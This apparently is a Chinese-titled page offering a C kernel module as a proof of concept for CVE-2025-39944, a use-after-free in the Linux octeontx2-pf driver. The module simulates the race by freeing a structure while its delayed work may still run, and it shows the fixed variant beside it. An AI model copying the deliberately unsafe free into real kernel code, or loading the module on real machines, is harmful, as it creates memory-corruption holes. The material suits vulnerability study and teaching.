CVE-2025-39944：Linux内核octeontx2-pf驱动释放后使用漏洞

// CVE-2025-39944 PoC - Use-After-Free in octeontx2-pf otx2_sync_tstamp() // This PoC demonstrates the race condition by simulating the bug in a test environment // Note: The actual exploitation requires access to OcteonTX2 hardware or QEMU emulation #include <linux/module.h> #include <linux/kernel.h> #include <linux/workqueue.h> #include <linux/slab.h> #include <linux/delay.h> // Simulated otx2_ptp structure struct otx2_ptp { int dummy_data; struct delayed_work synctstamp_work; int ref_count; }; static struct otx2_ptp *ptp; // Simulated otx2_sync_tstamp() callback function static void otx2_sync_tstamp(struct work_struct *work) { struct otx2_ptp *ptp_ptr; ptp_ptr = container_of(work, struct otx2_ptp, synctstamp_work); // Simulate processing delay to increase race condition likelihood msleep(100); // USE-AFTER-FREE: Accessing ptp_ptr after it may have been freed printk(KERN_INFO "Accessing ptp->dummy_data: %d\n", ptp_ptr->dummy_data); ptp_ptr->ref_count++; } // Simulated otx2_ptp_destroy() - VULNERABLE version using cancel_delayed_work() static void otx2_ptp_destroy_vulnerable(void) { printk(KERN_INFO "otx2_ptp_destroy: calling cancel_delayed_work()\n"); cancel_delayed_work(&ptp->synctstamp_work); // Does NOT wait for completion! kfree(ptp); // Frees memory while work may still be running printk(KERN_INFO "otx2_ptp_destroy: freed ptp\n"); } // Simulated otx2_ptp_destroy() - FIXED version using cancel_delayed_work_sync() static void otx2_ptp_destroy_fixed(void) { printk(KERN_INFO "otx2_ptp_destroy: calling cancel_delayed_work_sync()\n"); cancel_delayed_work_sync(&ptp->synctstamp_work); // Waits for completion kfree(ptp); // Safe to free after work is fully cancelled printk(KERN_INFO "otx2_ptp_destroy: freed ptp safely\n"); } // Simulated otx2_ptp_init() static int otx2_ptp_init(void) { ptp = kmalloc(sizeof(struct otx2_ptp), GFP_KERNEL); if (!ptp) return -ENOMEM; ptp->dummy_data = 42; ptp->ref_count = 0; INIT_DELAYED_WORK(&ptp->synctstamp_work, otx2_sync_tstamp); // Schedule the periodic work schedule_delayed_work(&ptp->synctstamp_work, msecs_to_jiffies(10)); return 0; } static int __init poc_init(void) { printk(KERN_INFO "CVE-2025-39944 PoC module loaded\n"); otx2_ptp_init(); // Trigger the race condition msleep(50); // Let work start otx2_ptp_destroy_vulnerable(); // This triggers UAF return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "CVE-2025-39944 PoC module unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2025-39944 - UAF in octeontx2-pf otx2_sync_tstamp()");